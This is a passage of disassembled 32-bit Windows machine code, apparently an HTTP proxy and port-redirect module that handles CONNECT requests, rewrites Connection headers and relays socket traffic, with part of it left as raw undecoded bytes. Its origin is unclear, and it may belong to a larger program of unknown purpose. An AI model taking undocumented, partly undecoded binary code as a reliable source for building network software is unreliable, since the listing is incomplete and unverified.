push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
mov edx, [esi+99h]
add esp, 24h
add edx, 11Ch
mov ecx, edi
push edx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
call sub_401DB1
add esp, 10h
mov ecx, edi
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 24h
pop edi
pop esi
pop ebp
pop ebx
retn
sub_429330 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429450 proc near ; CODE XREF: sub_401893j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429450
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov esi, ecx
mov [esp+2Ch+var_28], esi
call sub_401FA0
lea ecx, [esi+0A1h]
mov [esp+2Ch+var_4], 0
call sub_40142E
push 0
push 2Ah
push 2Eh
push 2Eh
lea eax, [esp+3Ch+var_24]
push 22h
push eax
mov byte ptr [esp+44h+var_4], 1
mov dword ptr [esi], offset off_43F14C
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+2Ch+var_4], 2
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4015E1
lea ecx, [esp+2Ch+var_24]
mov byte ptr [esp+2Ch+var_4], 1
call sub_401226
mov ecx, [esp+2Ch+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 28h
retn
sub_429450 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429510 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BE5
test [esp+4+arg_0], 1
jz short loc_429528
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_429528: ; CODE XREF: sub_429510+Dj
mov eax, esi
pop esi
retn 4
sub_429510 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429540 proc near ; CODE XREF: sub_401BE5j
push esi
mov esi, ecx
push edi
mov edi, dword_511C9C
mov eax, [esi+0BFh]
mov dword ptr [esi], offset off_43F14C
cmp eax, 0FFFFFFFFh
jz short loc_42955E
push eax
call edi ; closesocket
loc_42955E: ; CODE XREF: sub_429540+19j
mov eax, [esi+0BBh]
cmp eax, 0FFFFFFFFh
jz short loc_42956C
push eax
call edi ; closesocket
loc_42956C: ; CODE XREF: sub_429540+27j
lea ecx, [esi+0A1h]
call sub_401226
mov ecx, esi
call sub_4017A8
pop edi
pop esi
retn
sub_429540 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4295B0: ; CODE XREF: ___:loc_401D3Ej
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43CDB2
push eax
mov eax, 5488h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov ebp, ecx
or esi, 0FFFFFFFFh
push edi
mov [ebp+0BFh], esi
mov byte ptr [esp+11h], 0
mov byte ptr [esp+12h], 0
loc_4295E8: ; CODE XREF: ___:0042A576j
lea ecx, [esp+0B8h]
call sub_401B4A
lea ecx, [esp+14h]
mov dword ptr [esp+54A0h], 0
mov byte ptr [esp+13h], 0
call sub_40142E
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+398h]
push 104h
push eax
push ecx
mov byte ptr [esp+54B0h], 1
call sub_401280
add esp, 10h
test al, al
jz loc_42A600
lea edx, [esp+394h]
lea ecx, [esp+30h]
push edx
call sub_401870
push offset byte_448F30
lea ecx, [esp+34h]
mov byte ptr [esp+54A4h], 2
call sub_4012EE
test eax, eax
jnz short loc_4296A0
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
jmp loc_42A570
; ---------------------------------------------------------------------------
loc_4296A0: ; CODE XREF: ___:00429664j
push offset asc_444600 ; " "
lea eax, [esp+234h]
push 0
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset off_44720C
mov ecx, eax
mov byte ptr [esp+54A4h], 3
call sub_40150A
test eax, eax
lea ecx, [esp+230h]
mov byte ptr [esp+54A0h], 2
setz bl
call sub_401226
test bl, bl
jz short loc_429765
push offset asc_444600 ; " "
lea ecx, [esp+21Ch]
push 1
push ecx
lea ecx, [esp+3Ch]
mov byte ptr [esp+1Fh], 1
call sub_4016B8
lea edx, [esp+0B8h]
mov ecx, eax
push edx
mov byte ptr [esp+54A4h], 4
call sub_4017EE
push eax
call sub_401947
add esp, 8
lea ecx, [esp+218h]
test al, al
setz bl
mov byte ptr [esp+54A0h], 2
call sub_401226
test bl, bl
jnz loc_42A5EF
push offset aHttp ; "http"
lea ecx, [esp+0BCh]
call sub_4012EE
test eax, eax
jnz loc_42A5EF
jmp loc_42995A
; ---------------------------------------------------------------------------
loc_429765: ; CODE XREF: ___:004296E7j
push offset asc_444600 ; " "
lea eax, [esp+24Ch]
push 0
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset aConnect_0 ; "CONNECT"
mov ecx, eax
mov byte ptr [esp+54A4h], 5
call sub_40150A
test eax, eax
lea ecx, [esp+248h]
mov byte ptr [esp+54A0h], 2
setz bl
call sub_401226
test bl, bl
jz loc_42995A
push offset aConnect ; "connect"
lea ecx, [esp+0BCh]
mov byte ptr [esp+17h], 0
call sub_4015E1
push offset byte_448F30
lea ecx, [esp+114h]
call sub_4015E1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch]
push 1
push ecx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+174h]
push 0
push edx
mov ecx, eax
mov byte ptr [esp+54ACh], 6
call sub_4016B8
push eax
lea ecx, [esp+0D1h]
mov byte ptr [esp+54A4h], 7
call sub_401FDC
lea ecx, [esp+170h]
mov byte ptr [esp+54A0h], 6
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+54A0h], 2
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+27Ch]
push 1
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C64 ; ":"
lea ecx, [esp+1A4h]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+54ACh], 8
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 9
call sub_4017EE
test eax, eax
lea ecx, [esp+1A0h]
mov byte ptr [esp+54A0h], 8
setz bl
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+54A0h], 2
call sub_401226
test bl, bl
jnz loc_42A5EF
push offset asc_444600 ; " "
lea edx, [esp+264h]
push 1
push edx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C64 ; ":"
lea ecx, [esp+1D4h]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+54ACh], 0Ah
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 0Bh
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+1D0h]
mov [esp+10Ch], eax
mov byte ptr [esp+54A0h], 0Ah
call sub_401226
lea ecx, [esp+260h]
mov byte ptr [esp+54A0h], 2
call sub_401226
mov eax, [esp+10Ch]
test eax, eax
jnz short loc_42995A
mov dword ptr [esp+10Ch], 50h
loc_42995A: ; CODE XREF: ___:00429760j
; ___:004297ACj ...
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 0
push edx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset byte_448F30
lea ecx, [esp+4Ch]
mov byte ptr [esp+54A4h], 0Ch
call sub_4012EE
test eax, eax
jz loc_42A5DE
push offset asc_444600 ; " "
lea eax, [esp+64h]
push 2
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset byte_448F30
lea ecx, [esp+64h]
mov byte ptr [esp+54A4h], 0Dh
call sub_4012EE
test eax, eax
jz loc_42A5CD
lea ecx, [esp+0CDh]
push ecx
lea ecx, [esp+8Ch]
call sub_4014D3
mov ecx, 1000h
xor eax, eax
lea edi, [esp+498h]
or ebx, 0FFFFFFFFh
rep stosd
mov edi, offset aHttprox ; "HTTPROX"
mov ecx, ebx
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+4498h]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte ptr [esp+54A0h], 0Eh
shr ecx, 2
rep movsd
mov ecx, eax
lea eax, [esp+4498h]
and ecx, 3
rep movsb
mov esi, offset asc_4471E4 ; "\r\n"
loc_429A21: ; CODE XREF: ___:00429A3Fj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429A45
test cl, cl
jz short loc_429A41
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429A45
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429A21
loc_429A41: ; CODE XREF: ___:00429A2Bj
xor eax, eax
jmp short loc_429A49
; ---------------------------------------------------------------------------
loc_429A45: ; CODE XREF: ___:00429A27j
; ___:00429A35j
sbb eax, eax
sbb eax, ebx
loc_429A49: ; CODE XREF: ___:00429A43j
test eax, eax
jz loc_429B23
mov edi, dword_511AD8
loc_429A57: ; CODE XREF: ___:00429B1Dj
mov esi, offset byte_448F30
lea eax, [esp+4498h]
loc_429A63: ; CODE XREF: ___:00429A81j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429A87
test cl, cl
jz short loc_429A83
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429A87
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429A63
loc_429A83: ; CODE XREF: ___:00429A6Dj
xor eax, eax
jmp short loc_429A8B
; ---------------------------------------------------------------------------
loc_429A87: ; CODE XREF: ___:00429A69j
; ___:00429A77j
sbb eax, eax
sbb eax, ebx
loc_429A8B: ; CODE XREF: ___:00429A85j
test eax, eax
jz loc_429B23
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+449Ch]
push 1000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_42A629
lea edx, [esp+4498h]
push 4000h
lea eax, [esp+49Ch]
push edx
push eax
call edi ; strncat
push 4000h
lea ecx, [esp+4A8h]
push offset asc_4471E4 ; "\r\n"
push ecx
call edi ; strncat
add esp, 18h
mov esi, offset asc_4471E4 ; "\r\n"
lea eax, [esp+4498h]
loc_429AF3: ; CODE XREF: ___:00429B11j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429B17
test cl, cl
jz short loc_429B13
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429B17
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429AF3
loc_429B13: ; CODE XREF: ___:00429AFDj
xor eax, eax
jmp short loc_429B1B
; ---------------------------------------------------------------------------
loc_429B17: ; CODE XREF: ___:00429AF9j
; ___:00429B07j
sbb eax, eax
sbb eax, ebx
loc_429B1B: ; CODE XREF: ___:00429B15j
test eax, eax
jnz loc_429A57
loc_429B23: ; CODE XREF: ___:00429A4Bj
; ___:00429A8Dj
mov esi, dword_511B04
lea eax, [esp+498h]
push offset aProxyConnectio ; "Proxy-Connection:"
push eax
call esi ; strstr
add esp, 8
test eax, eax
jz short loc_429B77
push offset asc_444C64 ; ":"
push eax
call esi ; strstr
add esp, 8
inc eax
jz short loc_429B77
cmp byte ptr [eax], 20h
jnz short loc_429B5B
loc_429B52: ; CODE XREF: ___:00429B59j
mov cl, [eax+1]
inc eax
cmp cl, 20h
jz short loc_429B52
loc_429B5B: ; CODE XREF: ___:00429B50j
push offset aKeepAlive ; "Keep-Alive"
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz short loc_429B77
mov byte ptr [ebp+0BAh], 1
jmp short loc_429B7E
; ---------------------------------------------------------------------------
loc_429B77: ; CODE XREF: ___:00429B3Dj
; ___:00429B4Bj ...
mov byte ptr [ebp+0BAh], 0
loc_429B7E: ; CODE XREF: ___:00429B75j
cmp [ebp+0BFh], ebx
jnz loc_429C16
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, ebx
mov [ebp+0BFh], eax
jz loc_42A6FD
mov edx, [esp+10Ch]
xor ecx, ecx
mov [esp+78h], ecx
push edx
mov [esp+80h], ecx
mov word ptr [esp+7Ch], 2
mov [esp+84h], ecx
mov [esp+88h], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esp+0CDh]
mov [esp+7Ah], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
cmp eax, ebx
mov [esp+7Ch], eax
jz loc_42A63B
mov ecx, [ebp+0BFh]
lea eax, [esp+78h]
push 10h
push eax
push ecx
nop
call near ptr 71AB406Ah
cmp eax, ebx
jz loc_42A698
loc_429C16: ; CODE XREF: ___:00429B84j
mov al, [esp+13h]
test al, al
jz loc_42A2BE
mov al, [ebp+0BAh]
test al, al
jz short loc_429C61
lea edx, [esp+498h]
lea ecx, [esp+60h]
push edx
call sub_4017EE
push eax
lea ecx, [esp+118h]
call sub_4017EE
push eax
lea ecx, [esp+54h]
call sub_4017EE
push eax
lea eax, [esp+24h]
push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s"
push eax
jmp short loc_429C94
; ---------------------------------------------------------------------------
loc_429C61: ; CODE XREF: ___:00429C2Aj
lea ecx, [esp+498h]
push ecx
lea ecx, [esp+64h]
call sub_4017EE
push eax
lea ecx, [esp+118h]
call sub_4017EE
push eax
lea ecx, [esp+54h]
call sub_4017EE
push eax
lea edx, [esp+24h]
push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s"
push edx
loc_429C94: ; CODE XREF: ___:00429C5Fj
call sub_40102D
add esp, 18h
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
push eax
mov eax, [ebp+0BFh]
push eax
nop
call near ptr 71AB428Ah
test eax, eax
jz loc_42A6E2
cmp eax, ebx
jz loc_42A6E2
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+49Ch]
push 4000h
push ecx
push edx
call sub_401280
add esp, 10h
test al, al
jz loc_42A70F
mov edi, offset asc_4471E4 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+49Ch]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
xor ebx, ebx
mov esi, offset asc_4471E4 ; "\r\n"
mov [esp+2Ch], ebx
lea eax, [esp+498h]
loc_429D5E: ; CODE XREF: ___:00429D7Cj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429D82
test cl, cl
jz short loc_429D7E
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429D82
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429D5E
loc_429D7E: ; CODE XREF: ___:00429D68j
xor eax, eax
jmp short loc_429D87
; ---------------------------------------------------------------------------
loc_429D82: ; CODE XREF: ___:00429D64j
; ___:00429D72j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429D87: ; CODE XREF: ___:00429D80j
test eax, eax
jz loc_42A109
loc_429D8F: ; CODE XREF: ___:0042A0F8j
mov esi, offset byte_448F30
lea eax, [esp+498h]
loc_429D9B: ; CODE XREF: ___:00429DBDj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_429DC3
test cl, cl
jz short loc_429DBF
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_429DC3
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429D9B
loc_429DBF: ; CODE XREF: ___:00429DA7j
xor eax, eax
jmp short loc_429DC8
; ---------------------------------------------------------------------------
loc_429DC3: ; CODE XREF: ___:00429DA3j
; ___:00429DB3j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429DC8: ; CODE XREF: ___:00429DC1j
test eax, eax
jz loc_42A105
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+49Ch]
push 4000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_42A100
lea edx, [esp+498h]
lea ecx, [esp+0A0h]
push edx
call sub_401870
push offset asc_444600 ; " "
lea eax, [esp+204h]
push 0
push eax
lea ecx, [esp+0ACh]
mov byte ptr [esp+54ACh], 0Fh
call sub_4016B8
push offset aContentLength ; "Content-Length:"
mov ecx, eax
mov byte ptr [esp+54A4h], 10h
call sub_40150A
test eax, eax
lea ecx, [esp+200h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429EAA
push offset asc_444600 ; " "
lea ecx, [esp+144h]
push 1
push ecx
lea ecx, [esp+0ACh]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 11h
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+140h]
mov [esp+2Ch], eax
mov byte ptr [esp+54A0h], 0Fh
call sub_401226
loc_429EAA: ; CODE XREF: ___:00429E5Cj
push offset asc_444600 ; " "
lea edx, [esp+15Ch]
push 0
push edx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aTransferEncodi ; "Transfer-Encoding:"
mov ecx, eax
mov byte ptr [esp+54A4h], 12h
call sub_40150A
test eax, eax
lea ecx, [esp+158h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429F39
push offset asc_444600 ; " "
lea eax, [esp+18Ch]
push 1
push eax
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aChunked ; "chunked"
mov ecx, eax
mov byte ptr [esp+54A4h], 13h
call sub_40150A
lea ecx, [esp+188h]
mov byte ptr [esp+54A0h], 0Fh
call sub_401226
loc_429F39: ; CODE XREF: ___:00429EF4j
push offset asc_444600 ; " "
lea ecx, [esp+1BCh]
push 0
push ecx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aConnection ; "Connection:"
mov ecx, eax
mov byte ptr [esp+54A4h], 14h
call sub_40150A
test eax, eax
lea ecx, [esp+1B8h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429FD4
push offset asc_444600 ; " "
lea edx, [esp+1ECh]
push 1
push edx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aKeepAlive ; "Keep-Alive"
mov ecx, eax
mov byte ptr [esp+54A4h], 15h
call sub_40150A
test eax, eax
lea ecx, [esp+1E8h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
setnz byte ptr [esp+11h]
loc_429FD4: ; CODE XREF: ___:00429F83j
mov esi, offset asc_4471E4 ; "\r\n"
lea eax, [esp+498h]
loc_429FE0: ; CODE XREF: ___:0042A002j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A008
test cl, cl
jz short loc_42A004
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A008
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429FE0
loc_42A004: ; CODE XREF: ___:00429FECj
xor eax, eax
jmp short loc_42A00D
; ---------------------------------------------------------------------------
loc_42A008: ; CODE XREF: ___:00429FE8j
; ___:00429FF8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A00D: ; CODE XREF: ___:0042A006j
test eax, eax
jz loc_42A0A9
mov esi, offset byte_448F30
lea eax, [esp+498h]
loc_42A021: ; CODE XREF: ___:0042A043j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A049
test cl, cl
jz short loc_42A045
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A049
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42A021
loc_42A045: ; CODE XREF: ___:0042A02Dj
xor eax, eax
jmp short loc_42A04E
; ---------------------------------------------------------------------------
loc_42A049: ; CODE XREF: ___:0042A029j
; ___:0042A039j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A04E: ; CODE XREF: ___:0042A047j
test eax, eax
jz short loc_42A0A9
mov edi, offset asc_4471E4 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+49Ch]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
call near ptr 71AB428Ah
nop
loc_42A0A9: ; CODE XREF: ___:0042A00Fj
; ___:0042A050j
lea ecx, [esp+0A0h]
mov byte ptr [esp+54A0h], 0Eh
call sub_401226
mov esi, offset asc_4471E4 ; "\r\n"
lea eax, [esp+498h]
loc_42A0C9: ; CODE XREF: ___:0042A0EBj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A0F1
test cl, cl
jz short loc_42A0ED
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A0F1
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42A0C9
loc_42A0ED: ; CODE XREF: ___:0042A0D5j
xor eax, eax
jmp short loc_42A0F6
; ---------------------------------------------------------------------------
loc_42A0F1: ; CODE XREF: ___:0042A0D1j
; ___:0042A0E1j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A0F6: ; CODE XREF: ___:0042A0EFj
test eax, eax
jnz loc_429D8F
jmp short loc_42A105
; ---------------------------------------------------------------------------
loc_42A100: ; CODE XREF: ___:00429DF0j
mov byte ptr [esp+12h], 1
loc_42A105: ; CODE XREF: ___:00429DCAj
; ___:0042A0FEj
mov ebx, [esp+2Ch]
loc_42A109: ; CODE XREF: ___:00429D89j
mov al, [esp+11h]
push 0
test al, al
jz short loc_42A131
mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [ebp+0BBh]
not ecx
dec ecx
push ecx
push offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
push eax
jmp short loc_42A14D
; ---------------------------------------------------------------------------
loc_42A131: ; CODE XREF: ___:0042A111j
mov edi, offset aConnectionClos ; "Connection: Close\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, [ebp+0BBh]
push offset aConnectionClos ; "Connection: Close\r\n"
push ecx
loc_42A14D: ; CODE XREF: ___:0042A12Fj
nop
call near ptr 71AB428Ah
mov edi, offset asc_4471E4 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, [ebp+0BBh]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
lea ecx, [esp+4A0h]
push ecx
push edx
call near ptr 71AB428Ah
nop
test ebx, ebx
jz loc_42A27C
xor edi, edi
test ebx, ebx
jle short loc_42A204
loc_42A1B3: ; CODE XREF: ___:0042A202j
mov eax, ebx
sub eax, edi
cmp eax, 4000h
jbe short loc_42A204
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+49Ch]
push 4000h
push ecx
push edx
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_42A204
cmp esi, 0FFFFFFFFh
jz short loc_42A204
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+49Ch]
push esi
push eax
push ecx
nop
call near ptr 71AB428Ah
add edi, esi
cmp edi, ebx
jl short loc_42A1B3
loc_42A204: ; CODE XREF: ___:0042A1B1j
; ___:0042A1BCj ...
mov eax, ebx
sub eax, edi
jz short loc_42A24E
loc_42A20A: ; CODE XREF: ___:0042A24Cj
push 0
push eax
mov eax, [ebp+0BFh]
lea edx, [esp+4A0h]
push edx
push eax
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_42A24E
cmp esi, 0FFFFFFFFh
jz short loc_42A24E
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+49Ch]
push esi
push ecx
push edx
call near ptr 71AB428Ah
nop
add edi, esi
mov eax, ebx
sub eax, edi
jnz short loc_42A20A
loc_42A24E: ; CODE XREF: ___:0042A208j
; ___:0042A227j ...
mov al, [ebp+0BAh]
test al, al
jnz loc_42A4DF
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
or esi, 0FFFFFFFFh
mov byte ptr [esp+12h], 1
mov [ebp+0BBh], esi
jmp loc_42A4E2
; ---------------------------------------------------------------------------
loc_42A27C: ; CODE XREF: ___:0042A1A7j
mov esi, dword_511CA4
loc_42A282: ; CODE XREF: ___:0042A2BCj
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+49Ch]
push 4000h
push eax
push ecx
call esi ; recv
cmp eax, 1
jl short loc_42A24E
cmp eax, 0FFFFFFFFh
jz short loc_42A24E
push 0
push eax
mov eax, [ebp+0BBh]
lea edx, [esp+4A0h]
push edx
push eax
nop
call near ptr 71AB428Ah
jmp short loc_42A282
; ---------------------------------------------------------------------------
loc_42A2BE: ; CODE XREF: ___:00429C1Cj
lea ecx, [esp+14h]
push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
test eax, eax
jz loc_42A782
cmp eax, ebx
jz loc_42A782
mov ebx, dword_511CA4
mov eax, [ebp+0BBh]
mov edx, [ebp+0BFh]
mov [esp+294h], eax
mov dword ptr [esp+290h], 1
xor eax, eax
lea ecx, [esp+294h]
loc_42A330: ; CODE XREF: ___:0042A33Bj
cmp [ecx], edx
jz short loc_42A33D
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A330
loc_42A33D: ; CODE XREF: ___:0042A332j
cmp eax, 1
jnz short loc_42A354
mov [esp+298h], edx
mov dword ptr [esp+290h], 2
loc_42A354: ; CODE XREF: ___:0042A340j
mov ecx, 1000h
xor eax, eax
lea edi, [esp+498h]
push eax
rep stosd
push eax
lea ecx, [esp+298h]
push eax
push ecx
push eax
call near ptr 71AB2DC0h
nop
mov eax, [ebp+0BBh]
lea edx, [esp+290h]
push edx
push eax
call sub_438256
; ---------------------------------------------------------------------------
dw 0C085h
dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
dd 0DE72h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h
dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 71689E6Ah
dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h
dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h
dd 75000027h, 0E8016A0Dh, 2425EA9h, 0FE43E990h, 858BFFFFh
dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_42A4DF: ; CODE XREF: ___:0042A256j
or esi, 0FFFFFFFFh
loc_42A4E2: ; CODE XREF: ___:0042A277j
